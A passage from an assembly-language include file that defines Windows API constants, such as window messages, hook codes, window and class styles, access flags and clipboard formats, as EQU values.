|
||
HCBT_QS EQU 2
|
||
HCBT_CREATEWND EQU 3
|
||
HCBT_DESTROYWND EQU 4
|
||
HCBT_ACTIVATE EQU 5
|
||
HCBT_CLICKSKIPPED EQU 6
|
||
HCBT_KEYSKIPPED EQU 7
|
||
HCBT_SYSCOMMAND EQU 8
|
||
HCBT_SETFOCUS EQU 9
|
||
|
||
; WH_MSGFILTER Filter Proc Codes
|
||
|
||
MSGF_DIALOGBOX EQU 0
|
||
MSGF_MESSAGEBOX EQU 1
|
||
MSGF_MENU EQU 2
|
||
MSGF_SCROLLBAR EQU 5
|
||
MSGF_NEXTWINDOW EQU 6
|
||
MSGF_MAX EQU 8 ; unused
|
||
MSGF_USER EQU 4096
|
||
|
||
; Shell support
|
||
|
||
HSHELL_WINDOWCREATED EQU 1
|
||
HSHELL_WINDOWDESTROYED EQU 2
|
||
HSHELL_ACTIVATESHELLWINDOW EQU 3
|
||
HSHELL_WINDOWACTIVATED EQU 4
|
||
HSHELL_GETMINRECT EQU 5
|
||
HSHELL_REDRAW EQU 6
|
||
HSHELL_TASKMAN EQU 7
|
||
HSHELL_LANGUAGE EQU 8
|
||
HSHELL_ACCESSIBILITYSTATE EQU 11
|
||
ACCESS_STICKYKEYS EQU 0001h
|
||
ACCESS_FILTERKEYS EQU 0002h
|
||
ACCESS_MOUSEKEYS EQU 0003h
|
||
|
||
; Low level hook flags
|
||
|
||
LLKHF_EXTENDED EQU KF_EXTENDED shr 8
|
||
LLKHF_INJECTED EQU 00000010h
|
||
LLKHF_ALTDOWN EQU KF_ALTDOWN shr 8
|
||
LLKHF_UP EQU KF_UP shr 8
|
||
LLMHF_INJECTED EQU 00000001h
|
||
|
||
; Keyboard Layout API
|
||
|
||
HKL_PREV EQU 0
|
||
HKL_NEXT EQU 1
|
||
|
||
KLF_ACTIVATE EQU 00000001h
|
||
KLF_SUBSTITUTE_OK EQU 00000002h
|
||
KLF_REORDER EQU 00000008h
|
||
KLF_REPLACELANG EQU 00000010h
|
||
KLF_NOTELLSHELL EQU 00000080h
|
||
KLF_SETFORPROCESS EQU 00000100h
|
||
|
||
; Size of KeyboardLayoutName (number of characters), including nul terminator
|
||
|
||
KL_NAMELENGTH EQU 9
|
||
|
||
; Values for resolution parameter of GetMouseMovePoints
|
||
|
||
GMMP_USE_DISPLAY_POINTS EQU 1
|
||
GMMP_USE_HIGH_RESOLUTION_POINTS EQU 2
|
||
|
||
; Desktop-specific access flags
|
||
|
||
DESKTOP_READOBJECTS EQU 0001h
|
||
DESKTOP_CREATEWINDOW EQU 0002h
|
||
DESKTOP_CREATEMENU EQU 0004h
|
||
DESKTOP_HOOKCONTROL EQU 0008h
|
||
DESKTOP_JOURNALRECORD EQU 0010h
|
||
DESKTOP_JOURNALPLAYBACK EQU 0020h
|
||
DESKTOP_ENUMERATE EQU 0040h
|
||
DESKTOP_WRITEOBJECTS EQU 0080h
|
||
DESKTOP_SWITCHDESKTOP EQU 0100h
|
||
|
||
; Desktop-specific control flags
|
||
|
||
DF_ALLOWOTHERACCOUNTHOOK EQU 0001
|
||
|
||
; Windowstation-specific access flags
|
||
|
||
WINSTA_ENUMDESKTOPS EQU 0001h
|
||
WINSTA_READATTRIBUTES EQU 0002h
|
||
WINSTA_ACCESSCLIPBOARD EQU 0004h
|
||
WINSTA_CREATEDESKTOP EQU 0008h
|
||
WINSTA_WRITEATTRIBUTES EQU 0010h
|
||
WINSTA_ACCESSGLOBALATOMS EQU 0020h
|
||
WINSTA_EXITWINDOWS EQU 0040h
|
||
WINSTA_ENUMERATE EQU 0100h
|
||
WINSTA_READSCREEN EQU 0200h
|
||
|
||
; Windowstation-specific attribute flags
|
||
|
||
WSF_VISIBLE EQU 0001h
|
||
|
||
; Window field offsets for GetWindowLong()
|
||
|
||
GWL_WNDPROC EQU -4
|
||
GWL_HINSTANCE EQU -6
|
||
GWL_HWNDPARENT EQU -8
|
||
GWL_STYLE EQU -16
|
||
GWL_EXSTYLE EQU -20
|
||
GWL_USERDATA EQU -21
|
||
GWL_ID EQU -12
|
||
|
||
; Class field offsets for GetClassLong()
|
||
|
||
GCL_MENUNAME EQU -8
|
||
GCL_HBRBACKGROUND EQU -10
|
||
GCL_HCURSOR EQU -12
|
||
GCL_HICON EQU -14
|
||
GCL_HMODULE EQU -16
|
||
GCL_CBWNDEXTRA EQU -18
|
||
GCL_CBCLSEXTRA EQU -20
|
||
GCL_WNDPROC EQU -24
|
||
GCL_STYLE EQU -26
|
||
GCW_ATOM EQU -32
|
||
GCL_HICONSM EQU -34
|
||
|
||
; WM_ACTIVATE state values
|
||
|
||
WA_INACTIVE EQU 0
|
||
WA_ACTIVE EQU 1
|
||
WA_CLICKACTIVE EQU 2
|
||
|
||
; Window Messages
|
||
|
||
WM_NULL EQU 0000h
|
||
WM_CREATE EQU 0001h
|
||
WM_DESTROY EQU 0002h
|
||
WM_MOVE EQU 0003h
|
||
WM_SIZE EQU 0005h
|
||
WM_ACTIVATE EQU 0006h
|
||
WM_SETFOCUS EQU 0007h
|
||
WM_KILLFOCUS EQU 0008h
|
||
WM_ENABLE EQU 000Ah
|
||
WM_SETREDRAW EQU 000Bh
|
||
WM_SETTEXT EQU 000Ch
|
||
WM_GETTEXT EQU 000Dh
|
||
WM_GETTEXTLENGTH EQU 000Eh
|
||
WM_PAINT EQU 000Fh
|
||
WM_CLOSE EQU 0010h
|
||
WM_QUERYENDSESSION EQU 0011h
|
||
WM_QUERYOPEN EQU 0013h
|
||
WM_ENDSESSION EQU 0016h
|
||
WM_QUIT EQU 0012h
|
||
WM_ERASEBKGND EQU 0014h
|
||
WM_SYSCOLORCHANGE EQU 0015h
|
||
WM_SHOWWINDOW EQU 0018h
|
||
WM_WININICHANGE EQU 001Ah
|
||
WM_SETTINGCHANGE EQU WM_WININICHANGE
|
||
WM_DEVMODECHANGE EQU 001Bh
|
||
WM_ACTIVATEAPP EQU 001Ch
|
||
WM_FONTCHANGE EQU 001Dh
|
||
WM_TIMECHANGE EQU 001Eh
|
||
WM_CANCELMODE EQU 001Fh
|
||
WM_SETCURSOR EQU 0020h
|
||
WM_MOUSEACTIVATE EQU 0021h
|
||
WM_CHILDACTIVATE EQU 0022h
|
||
WM_QUEUESYNC EQU 0023h
|
||
WM_GETMINMAXINFO EQU 0024h
|
||
WM_PAINTICON EQU 0026h
|
||
WM_ICONERASEBKGND EQU 0027h
|
||
WM_NEXTDLGCTL EQU 0028h
|
||
WM_SPOOLERSTATUS EQU 002Ah
|
||
WM_DRAWITEM EQU 002Bh
|
||
WM_MEASUREITEM EQU 002Ch
|
||
WM_DELETEITEM EQU 002Dh
|
||
WM_VKEYTOITEM EQU 002Eh
|
||
WM_CHARTOITEM EQU 002Fh
|
||
WM_SETFONT EQU 0030h
|
||
WM_GETFONT EQU 0031h
|
||
WM_SETHOTKEY EQU 0032h
|
||
WM_GETHOTKEY EQU 0033h
|
||
WM_QUERYDRAGICON EQU 0037h
|
||
WM_COMPAREITEM EQU 0039h
|
||
WM_GETOBJECT EQU 003Dh
|
||
WM_COMPACTING EQU 0041h
|
||
WM_WINDOWPOSCHANGING EQU 0046h
|
||
WM_WINDOWPOSCHANGED EQU 0047h
|
||
WM_POWER EQU 0048h
|
||
WM_COPYDATA EQU 004Ah
|
||
WM_CANCELJOURNAL EQU 004Bh
|
||
WM_NOTIFY EQU 004Eh
|
||
WM_INPUTLANGCHANGEREQUEST EQU 0050h
|
||
WM_INPUTLANGCHANGE EQU 0051h
|
||
WM_TCARD EQU 0052h
|
||
WM_HELP EQU 0053h
|
||
WM_USERCHANGED EQU 0054h
|
||
WM_NOTIFYFORMAT EQU 0055h
|
||
WM_CONTEXTMENU EQU 007Bh
|
||
WM_STYLECHANGING EQU 007Ch
|
||
WM_STYLECHANGED EQU 007Dh
|
||
WM_DISPLAYCHANGE EQU 007Eh
|
||
WM_GETICON EQU 007Fh
|
||
WM_SETICON EQU 0080h
|
||
WM_NCCREATE EQU 0081h
|
||
WM_NCDESTROY EQU 0082h
|
||
WM_NCCALCSIZE EQU 0083h
|
||
WM_NCHITTEST EQU 0084h
|
||
WM_NCPAINT EQU 0085h
|
||
WM_NCACTIVATE EQU 0086h
|
||
WM_GETDLGCODE EQU 0087h
|
||
WM_SYNCPAINT EQU 0088h
|
||
WM_NCMOUSEMOVE EQU 00A0h
|
||
WM_NCLBUTTONDOWN EQU 00A1h
|
||
WM_NCLBUTTONUP EQU 00A2h
|
||
WM_NCLBUTTONDBLCLK EQU 00A3h
|
||
WM_NCRBUTTONDOWN EQU 00A4h
|
||
WM_NCRBUTTONUP EQU 00A5h
|
||
WM_NCRBUTTONDBLCLK EQU 00A6h
|
||
WM_NCMBUTTONDOWN EQU 00A7h
|
||
WM_NCMBUTTONUP EQU 00A8h
|
||
WM_NCMBUTTONDBLCLK EQU 00A9h
|
||
WM_KEYFIRST EQU 0100h
|
||
WM_KEYDOWN EQU 0100h
|
||
WM_KEYUP EQU 0101h
|
||
WM_CHAR EQU 0102h
|
||
WM_DEADCHAR EQU 0103h
|
||
WM_SYSKEYDOWN EQU 0104h
|
||
WM_SYSKEYUP EQU 0105h
|
||
WM_SYSCHAR EQU 0106h
|
||
WM_SYSDEADCHAR EQU 0107h
|
||
WM_KEYLAST EQU 0108h
|
||
WM_IME_STARTCOMPOSITION EQU 010Dh
|
||
WM_IME_ENDCOMPOSITION EQU 010Eh
|
||
WM_IME_COMPOSITION EQU 010Fh
|
||
WM_IME_KEYLAST EQU 010Fh
|
||
WM_INITDIALOG EQU 0110h
|
||
WM_COMMAND EQU 0111h
|
||
WM_SYSCOMMAND EQU 0112h
|
||
WM_TIMER EQU 0113h
|
||
WM_HSCROLL EQU 0114h
|
||
WM_VSCROLL EQU 0115h
|
||
WM_INITMENU EQU 0116h
|
||
WM_INITMENUPOPUP EQU 0117h
|
||
WM_MENUSELECT EQU 011Fh
|
||
WM_MENUCHAR EQU 0120h
|
||
WM_ENTERIDLE EQU 0121h
|
||
WM_MENURBUTTONUP EQU 0122h
|
||
WM_MENUDRAG EQU 0123h
|
||
WM_MENUGETOBJECT EQU 0124h
|
||
WM_UNINITMENUPOPUP EQU 0125h
|
||
WM_MENUCOMMAND EQU 0126h
|
||
WM_KEYBOARDCUES EQU 0127h
|
||
WM_CTLCOLORMSGBOX EQU 0132h
|
||
WM_CTLCOLOREDIT EQU 0133h
|
||
WM_CTLCOLORLISTBOX EQU 0134h
|
||
WM_CTLCOLORBTN EQU 0135h
|
||
WM_CTLCOLORDLG EQU 0136h
|
||
WM_CTLCOLORSCROLLBAR EQU 0137h
|
||
WM_CTLCOLORSTATIC EQU 0138h
|
||
WM_MOUSEFIRST EQU 0200h
|
||
WM_MOUSEMOVE EQU 0200h
|
||
WM_LBUTTONDOWN EQU 0201h
|
||
WM_LBUTTONUP EQU 0202h
|
||
WM_LBUTTONDBLCLK EQU 0203h
|
||
WM_RBUTTONDOWN EQU 0204h
|
||
WM_RBUTTONUP EQU 0205h
|
||
WM_RBUTTONDBLCLK EQU 0206h
|
||
WM_MBUTTONDOWN EQU 0207h
|
||
WM_MBUTTONUP EQU 0208h
|
||
WM_MBUTTONDBLCLK EQU 0209h
|
||
WM_MOUSEWHEEL EQU 020Ah
|
||
WM_MOUSELAST EQU 0209h
|
||
WM_PARENTNOTIFY EQU 0210h
|
||
WM_ENTERMENULOOP EQU 0211h
|
||
WM_EXITMENULOOP EQU 0212h
|
||
WM_NEXTMENU EQU 0213h
|
||
WM_SIZING EQU 0214h
|
||
WM_CAPTURECHANGED EQU 0215h
|
||
WM_MOVING EQU 0216h
|
||
WM_POWERBROADCAST EQU 0218h
|
||
WM_DEVICECHANGE EQU 0219h
|
||
WM_MDICREATE EQU 0220h
|
||
WM_MDIDESTROY EQU 0221h
|
||
WM_MDIACTIVATE EQU 0222h
|
||
WM_MDIRESTORE EQU 0223h
|
||
WM_MDINEXT EQU 0224h
|
||
WM_MDIMAXIMIZE EQU 0225h
|
||
WM_MDITILE EQU 0226h
|
||
WM_MDICASCADE EQU 0227h
|
||
WM_MDIICONARRANGE EQU 0228h
|
||
WM_MDIGETACTIVE EQU 0229h
|
||
WM_MDISETMENU EQU 0230h
|
||
WM_ENTERSIZEMOVE EQU 0231h
|
||
WM_EXITSIZEMOVE EQU 0232h
|
||
WM_DROPFILES EQU 0233h
|
||
WM_MDIREFRESHMENU EQU 0234h
|
||
WM_IME_SETCONTEXT EQU 0281h
|
||
WM_IME_NOTIFY EQU 0282h
|
||
WM_IME_CONTROL EQU 0283h
|
||
WM_IME_COMPOSITIONFULL EQU 0284h
|
||
WM_IME_SELECT EQU 0285h
|
||
WM_IME_CHAR EQU 0286h
|
||
WM_IME_REQUEST EQU 0288h
|
||
WM_IME_KEYDOWN EQU 0290h
|
||
WM_IME_KEYUP EQU 0291h
|
||
WM_MOUSEHOVER EQU 02A1h
|
||
WM_MOUSELEAVE EQU 02A3h
|
||
WM_NCMOUSEHOVER EQU 02A0h
|
||
WM_NCMOUSELEAVE EQU 02A2h
|
||
WM_CUT EQU 0300h
|
||
WM_COPY EQU 0301h
|
||
WM_PASTE EQU 0302h
|
||
WM_CLEAR EQU 0303h
|
||
WM_UNDO EQU 0304h
|
||
WM_RENDERFORMAT EQU 0305h
|
||
WM_RENDERALLFORMATS EQU 0306h
|
||
WM_DESTROYCLIPBOARD EQU 0307h
|
||
WM_DRAWCLIPBOARD EQU 0308h
|
||
WM_PAINTCLIPBOARD EQU 0309h
|
||
WM_VSCROLLCLIPBOARD EQU 030Ah
|
||
WM_SIZECLIPBOARD EQU 030Bh
|
||
WM_ASKCBFORMATNAME EQU 030Ch
|
||
WM_CHANGECBCHAIN EQU 030Dh
|
||
WM_HSCROLLCLIPBOARD EQU 030Eh
|
||
WM_QUERYNEWPALETTE EQU 030Fh
|
||
WM_PALETTEISCHANGING EQU 0310h
|
||
WM_PALETTECHANGED EQU 0311h
|
||
WM_HOTKEY EQU 0312h
|
||
WM_PRINT EQU 0317h
|
||
WM_PRINTCLIENT EQU 0318h
|
||
WM_HANDHELDFIRST EQU 0358h
|
||
WM_HANDHELDLAST EQU 035Fh
|
||
WM_AFXFIRST EQU 0360h
|
||
WM_AFXLAST EQU 037Fh
|
||
WM_PENWINFIRST EQU 0380h
|
||
WM_PENWINLAST EQU 038Fh
|
||
WM_APP EQU 8000h
|
||
WM_USER EQU 0400h
|
||
|
||
; Windows Message Size
|
||
|
||
WMSZ_LEFT EQU 1
|
||
WMSZ_RIGHT EQU 2
|
||
WMSZ_TOP EQU 3
|
||
WMSZ_TOPLEFT EQU 4
|
||
WMSZ_TOPRIGHT EQU 5
|
||
WMSZ_BOTTOM EQU 6
|
||
WMSZ_BOTTOMLEFT EQU 7
|
||
WMSZ_BOTTOMRIGHT EQU 8
|
||
|
||
; wParam for WM_POWER window message and DRV_POWER driver notification
|
||
|
||
PWR_OK EQU 1
|
||
PWR_FAIL EQU -1
|
||
PWR_SUSPENDREQUEST EQU 1
|
||
PWR_SUSPENDRESUME EQU 2
|
||
PWR_CRITICALRESUME EQU 3
|
||
|
||
NFR_ANSI EQU 1
|
||
NFR_UNICODE EQU 2
|
||
NF_QUERY EQU 3
|
||
NF_REQUERY EQU 4
|
||
|
||
; LOWORD(wParam) in WM_KEYBOARDCUES
|
||
|
||
KC_SHOW EQU 1
|
||
KC_HIDE EQU 2
|
||
KC_QUERY EQU 3
|
||
|
||
; HIWORD(wParam) in WM_KEYBOARDCUES
|
||
|
||
KCF_FOCUS EQU 1
|
||
KCF_ACCEL EQU 2
|
||
|
||
WHEEL_DELTA EQU 120 ;Value for rolling one detent
|
||
;WHEEL_PAGESCROLL EQU (UINT_MAX) ;Scroll one page
|
||
|
||
; Advanced Power Management
|
||
|
||
PBT_APMQUERYSUSPEND EQU 0000h
|
||
PBT_APMQUERYSTANDBY EQU 0001h
|
||
PBT_APMQUERYSUSPENDFAILED EQU 0002h
|
||
PBT_APMQUERYSTANDBYFAILED EQU 0003h
|
||
PBT_APMSUSPEND EQU 0004h
|
||
PBT_APMSTANDBY EQU 0005h
|
||
PBT_APMRESUMECRITICAL EQU 0006h
|
||
PBT_APMRESUMESUSPEND EQU 0007h
|
||
PBT_APMRESUMESTANDBY EQU 0008h
|
||
PBT_APMBATTERYLOW EQU 0009h
|
||
PBT_APMPOWERSTATUSCHANGE EQU 000Ah
|
||
PBT_APMOEMEVENT EQU 000Bh
|
||
PBT_APMRESUMEAUTOMATIC EQU 0012h
|
||
|
||
PBTF_APMRESUMEFROMFAILURE EQU 00000001
|
||
|
||
;MOUSEHOOKSTRUCT STRUC
|
||
; pt POINT <?>
|
||
; mh_hwnd DD ?
|
||
; wHitTestCode DD ?
|
||
; dwExtraInfo DD ?
|
||
;MOUSEHOOKSTRUCT ENDS
|
||
|
||
; WM_NCHITTEST and MOUSEHOOKSTRUCT Mouse Position Codes
|
||
|
||
HTERROR EQU -2
|
||
HTTRANSPARENT EQU -1
|
||
HTNOWHERE EQU 0
|
||
HTCLIENT EQU 1
|
||
HTCAPTION EQU 2
|
||
HTSYSMENU EQU 3
|
||
HTGROWBOX EQU 4
|
||
HTSIZE EQU HTGROWBOX
|
||
HTMENU EQU 5
|
||
HTHSCROLL EQU 6
|
||
HTVSCROLL EQU 7
|
||
HTMINBUTTON EQU 8
|
||
HTMAXBUTTON EQU 9
|
||
HTLEFT EQU 10
|
||
HTRIGHT EQU 11
|
||
HTTOP EQU 12
|
||
HTTOPLEFT EQU 13
|
||
HTTOPRIGHT EQU 14
|
||
HTBOTTOM EQU 15
|
||
HTBOTTOMLEFT EQU 16
|
||
HTBOTTOMRIGHT EQU 17
|
||
HTBORDER EQU 18
|
||
HTREDUCE EQU HTMINBUTTON
|
||
HTZOOM EQU HTMAXBUTTON
|
||
HTSIZEFIRST EQU HTLEFT
|
||
HTSIZELAST EQU HTBOTTOMRIGHT
|
||
HTOBJECT EQU 19
|
||
HTCLOSE EQU 20
|
||
HTHELP EQU 21
|
||
|
||
; SendMessageTimeout values
|
||
|
||
SMTO_NORMAL EQU 0000h
|
||
SMTO_BLOCK EQU 0001h
|
||
SMTO_ABORTIFHUNG EQU 0002h
|
||
SMTO_NOTIMEOUTIFNOTHUNG EQU 0008h
|
||
|
||
; WM_MOUSEACTIVATE Return Codes
|
||
|
||
MA_ACTIVATE EQU 1
|
||
MA_ACTIVATEANDEAT EQU 2
|
||
MA_NOACTIVATE EQU 3
|
||
MA_NOACTIVATEANDEAT EQU 4
|
||
|
||
; WM_SETICON / WM_GETICON Type Codes
|
||
|
||
ICON_SMALL EQU 0
|
||
ICON_BIG EQU 1
|
||
|
||
; WM_SIZE message wParam values
|
||
|
||
SIZE_RESTORED EQU 0
|
||
SIZE_MINIMIZED EQU 1
|
||
SIZE_MAXIMIZED EQU 2
|
||
SIZE_MAXSHOW EQU 3
|
||
SIZE_MAXHIDE EQU 4
|
||
|
||
; WM_NCCALCSIZE "window valid rect" return values
|
||
|
||
WVR_ALIGNTOP EQU 0010h
|
||
WVR_ALIGNLEFT EQU 0020h
|
||
WVR_ALIGNBOTTOM EQU 0040h
|
||
WVR_ALIGNRIGHT EQU 0080h
|
||
WVR_HREDRAW EQU 0100h
|
||
WVR_VREDRAW EQU 0200h
|
||
WVR_REDRAW EQU (WVR_HREDRAW OR WVR_VREDRAW)
|
||
WVR_VALIDRECTS EQU 0400h
|
||
|
||
; Key State Masks for Mouse Messages
|
||
|
||
MK_LBUTTON EQU 0001h
|
||
MK_RBUTTON EQU 0002h
|
||
MK_SHIFT EQU 0004h
|
||
MK_CONTROL EQU 0008h
|
||
MK_MBUTTON EQU 0010h
|
||
|
||
TME_HOVER EQU 00000001h
|
||
TME_LEAVE EQU 00000002h
|
||
TME_NONCLIENT EQU 00000010h
|
||
TME_QUERY EQU 40000000h
|
||
TME_CANCEL EQU 80000000h
|
||
|
||
HOVER_DEFAULT EQU 0FFFFFFFFh
|
||
|
||
; Window styles
|
||
|
||
WS_OVERLAPPED EQU 00000000h
|
||
WS_POPUP EQU 80000000h
|
||
WS_CHILD EQU 40000000h
|
||
WS_MINIMIZE EQU 20000000h
|
||
WS_VISIBLE EQU 10000000h
|
||
WS_DISABLED EQU 08000000h
|
||
WS_CLIPSIBLINGS EQU 04000000h
|
||
WS_CLIPCHILDREN EQU 02000000h
|
||
WS_MAXIMIZE EQU 01000000h
|
||
WS_CAPTION EQU 00C00000h ;!!!!WS_BORDER OR WS_DLGFRAME
|
||
WS_BORDER EQU 00800000h
|
||
WS_DLGFRAME EQU 00400000h
|
||
WS_VSCROLL EQU 00200000h
|
||
WS_HSCROLL EQU 00100000h
|
||
WS_SYSMENU EQU 00080000h
|
||
WS_THICKFRAME EQU 00040000h
|
||
WS_GROUP EQU 00020000h
|
||
WS_TABSTOP EQU 00010000h
|
||
WS_MINIMIZEBOX EQU 00020000h
|
||
WS_MAXIMIZEBOX EQU 00010000h
|
||
WS_TILED EQU WS_OVERLAPPED
|
||
WS_ICONIC EQU WS_MINIMIZE
|
||
WS_SIZEBOX EQU WS_THICKFRAME
|
||
WS_TILEDWINDOW EQU WS_OVERLAPPEDWINDOW
|
||
|
||
WS_OVERLAPPEDWINDOW EQU (WS_OVERLAPPED OR \
|
||
WS_CAPTION OR \
|
||
WS_SYSMENU OR \
|
||
WS_THICKFRAME OR \
|
||
WS_MINIMIZEBOX OR \
|
||
WS_MAXIMIZEBOX)
|
||
|
||
WS_POPUPWINDOW EQU (WS_POPUP OR \
|
||
WS_BORDER OR \
|
||
WS_SYSMENU)
|
||
|
||
WS_CHILDWINDOW EQU WS_CHILD
|
||
|
||
; Extended Window Styles
|
||
|
||
WS_EX_DLGMODALFRAME EQU 00000001h
|
||
WS_EX_NOPARENTNOTIFY EQU 00000004h
|
||
WS_EX_TOPMOST EQU 00000008h
|
||
WS_EX_ACCEPTFILES EQU 00000010h
|
||
WS_EX_TRANSPARENT EQU 00000020h
|
||
WS_EX_MDICHILD EQU 00000040h
|
||
WS_EX_TOOLWINDOW EQU 00000080h
|
||
WS_EX_WINDOWEDGE EQU 00000100h
|
||
WS_EX_CLIENTEDGE EQU 00000200h
|
||
WS_EX_CONTEXTHELP EQU 00000400h
|
||
WS_EX_RIGHT EQU 00001000h
|
||
WS_EX_LEFT EQU 00000000h
|
||
WS_EX_RTLREADING EQU 00002000h
|
||
WS_EX_LTRREADING EQU 00000000h
|
||
WS_EX_LEFTSCROLLBAR EQU 00004000h
|
||
WS_EX_RIGHTSCROLLBAR EQU 00000000h
|
||
WS_EX_CONTROLPARENT EQU 00010000h
|
||
WS_EX_STATICEDGE EQU 00020000h
|
||
WS_EX_APPWINDOW EQU 00040000h
|
||
WS_EX_OVERLAPPEDWINDOW EQU (WS_EX_WINDOWEDGE OR WS_EX_CLIENTEDGE)
|
||
WS_EX_PALETTEWINDOW EQU (WS_EX_WINDOWEDGE OR WS_EX_TOOLWINDOW OR WS_EX_TOPMOST)
|
||
WS_EX_LAYERED EQU 00080000h
|
||
WS_EX_NOINHERITLAYOUT EQU 00100000h ; Disable inheritence of mirroring by children
|
||
WS_EX_LAYOUTRTL EQU 00400000h ; Right to left mirroring
|
||
WS_EX_NOACTIVATE EQU 08000000h
|
||
; Extended Window Styles (low words)
|
||
WS_EX_DLGMODALFRAME = 0001
|
||
WS_EX_DRAGOBJECT = 0002
|
||
WS_EX_NOPARENTNOTIFY = 0004
|
||
WS_EX_TOPMOST = 0008
|
||
|
||
; Class styles
|
||
|
||
CS_VREDRAW EQU 0001h
|
||
CS_HREDRAW EQU 0002h
|
||
CS_DBLCLKS EQU 0008h
|
||
CS_OWNDC EQU 0020h
|
||
CS_CLASSDC EQU 0040h
|
||
CS_PARENTDC EQU 0080h
|
||
CS_NOCLOSE EQU 0200h
|
||
CS_SAVEBITS EQU 0800h
|
||
CS_BYTEALIGNCLIENT EQU 1000h
|
||
CS_BYTEALIGNWINDOW EQU 2000h
|
||
CS_GLOBALCLASS EQU 4000h
|
||
CW_USEDEFAULT EQU 8000h
|
||
CS_IME EQU 00010000h
|
||
|
||
;WM_PRINT flags
|
||
|
||
PRF_CHECKVISIBLE EQU 00000001h
|
||
PRF_NONCLIENT EQU 00000002h
|
||
PRF_CLIENT EQU 00000004h
|
||
PRF_ERASEBKGND EQU 00000008h
|
||
PRF_CHILDREN EQU 00000010h
|
||
PRF_OWNED EQU 00000020h
|
||
|
||
; 3D border styles
|
||
|
||
BDR_RAISEDOUTER EQU 0001h
|
||
BDR_SUNKENOUTER EQU 0002h
|
||
BDR_RAISEDINNER EQU 0004h
|
||
BDR_SUNKENINNER EQU 0008h
|
||
BDR_OUTER EQU (BDR_RAISEDOUTER OR BDR_SUNKENOUTER)
|
||
BDR_INNER EQU (BDR_RAISEDINNER OR BDR_SUNKENINNER)
|
||
BDR_RAISED EQU (BDR_RAISEDOUTER OR BDR_RAISEDINNER)
|
||
BDR_SUNKEN EQU (BDR_SUNKENOUTER OR BDR_SUNKENINNER)
|
||
EDGE_RAISED EQU (BDR_RAISEDOUTER OR BDR_RAISEDINNER)
|
||
EDGE_SUNKEN EQU (BDR_SUNKENOUTER OR BDR_SUNKENINNER)
|
||
EDGE_ETCHED EQU (BDR_SUNKENOUTER OR BDR_RAISEDINNER)
|
||
EDGE_BUMP EQU (BDR_RAISEDOUTER OR BDR_SUNKENINNER)
|
||
|
||
; Border flags
|
||
|
||
BF_LEFT EQU 0001h
|
||
BF_TOP EQU 0002h
|
||
BF_RIGHT EQU 0004h
|
||
BF_BOTTOM EQU 0008h
|
||
BF_TOPLEFT EQU (BF_TOP OR BF_LEFT)
|
||
BF_TOPRIGHT EQU (BF_TOP OR BF_RIGHT)
|
||
BF_BOTTOMLEFT EQU (BF_BOTTOM OR BF_LEFT)
|
||
BF_BOTTOMRIGHT EQU (BF_BOTTOM OR BF_RIGHT)
|
||
BF_RECT EQU (BF_LEFT OR BF_TOP OR BF_RIGHT OR BF_BOTTOM)
|
||
BF_DIAGONAL EQU 0010
|
||
|
||
; For diagonal lines, the BF_RECT flags specify the end point of the
|
||
; vector bounded by the rectangle parameter.
|
||
|
||
BF_DIAGONAL_ENDTOPRIGHT EQU (BF_DIAGONAL OR BF_TOP OR BF_RIGHT)
|
||
BF_DIAGONAL_ENDTOPLEFT EQU (BF_DIAGONAL OR BF_TOP OR BF_LEFT)
|
||
BF_DIAGONAL_ENDBOTTOMLEFT EQU (BF_DIAGONAL OR BF_BOTTOM OR BF_LEFT)
|
||
BF_DIAGONAL_ENDBOTTOMRIGHT EQU (BF_DIAGONAL OR BF_BOTTOM OR BF_RIGHT)
|
||
|
||
BF_MIDDLE EQU 0800h ;Fill in the middle
|
||
BF_SOFT EQU 1000h ;For softer buttons
|
||
BF_ADJUST EQU 2000h ;Calculate the space left over
|
||
BF_FLAT EQU 4000h ;For flat rather than 3D borders
|
||
BF_MONO EQU 8000h ;For monochrome borders
|
||
|
||
; flags for DrawFrameControl
|
||
|
||
DFC_CAPTION EQU 1
|
||
DFC_MENU EQU 2
|
||
DFC_SCROLL EQU 3
|
||
DFC_BUTTON EQU 4
|
||
DFC_POPUPMENU EQU 5
|
||
DFCS_CAPTIONCLOSE EQU 0000h
|
||
DFCS_CAPTIONMIN EQU 0001h
|
||
DFCS_CAPTIONMAX EQU 0002h
|
||
DFCS_CAPTIONRESTORE EQU 0003h
|
||
DFCS_CAPTIONHELP EQU 0004h
|
||
DFCS_MENUARROW EQU 0000h
|
||
DFCS_MENUCHECK EQU 0001h
|
||
DFCS_MENUBULLET EQU 0002h
|
||
DFCS_MENUARROWRIGHT EQU 0004h
|
||
DFCS_SCROLLUP EQU 0000h
|
||
DFCS_SCROLLDOWN EQU 0001h
|
||
DFCS_SCROLLLEFT EQU 0002h
|
||
DFCS_SCROLLRIGHT EQU 0003h
|
||
DFCS_SCROLLCOMBOBOX EQU 0005h
|
||
DFCS_SCROLLSIZEGRIP EQU 0008h
|
||
DFCS_SCROLLSIZEGRIPRIGHT EQU 0010h
|
||
DFCS_BUTTONCHECK EQU 0000h
|
||
DFCS_BUTTONRADIOIMAGE EQU 0001h
|
||
DFCS_BUTTONRADIOMASK EQU 0002h
|
||
DFCS_BUTTONRADIO EQU 0004h
|
||
DFCS_BUTTON3STATE EQU 0008h
|
||
DFCS_BUTTONPUSH EQU 0010h
|
||
DFCS_INACTIVE EQU 0100h
|
||
DFCS_PUSHED EQU 0200h
|
||
DFCS_CHECKED EQU 0400h
|
||
DFCS_TRANSPARENT EQU 0800h
|
||
DFCS_HOT EQU 1000h
|
||
DFCS_ADJUSTRECT EQU 2000h
|
||
DFCS_FLAT EQU 4000h
|
||
DFCS_MONO EQU 8000h
|
||
|
||
; flags for DrawCaption
|
||
|
||
DC_ACTIVE EQU 0001h
|
||
DC_SMALLCAP EQU 0002h
|
||
DC_ICON EQU 0004h
|
||
DC_TEXT EQU 0008h
|
||
DC_INBUTTON EQU 0010h
|
||
DC_GRADIENT EQU 0020h
|
||
IDANI_OPEN EQU 1
|
||
|
||
; Predefined Clipboard Formats
|
||
|
||
CF_TEXT EQU 1
|
||
CF_BITMAP EQU 2
|
||
CF_METAFILEPICT EQU 3
|
||
CF_SYLK EQU 4
|
||
CF_DIF EQU 5
|
||
CF_TIFF EQU 6
|
||
CF_OEMTEXT EQU 7
|
||
CF_DIB EQU 8
|
||
CF_PALETTE EQU 9
|
||
CF_PENDATA EQU 10
|
||
CF_RIFF EQU 11
|
||
CF_WAVE EQU 12
|
||
CF_UNICODETEXT EQU 13
|
||
CF_ENHMETAFILE EQU 14
|
||
CF_HDROP EQU 15
|
||
CF_LOCALE EQU 16
|
||
CF_DIBV5 EQU 17
|
||
CF_MAX EQU 18
|
||
CF_OWNERDISPLAY EQU 0080h
|
||
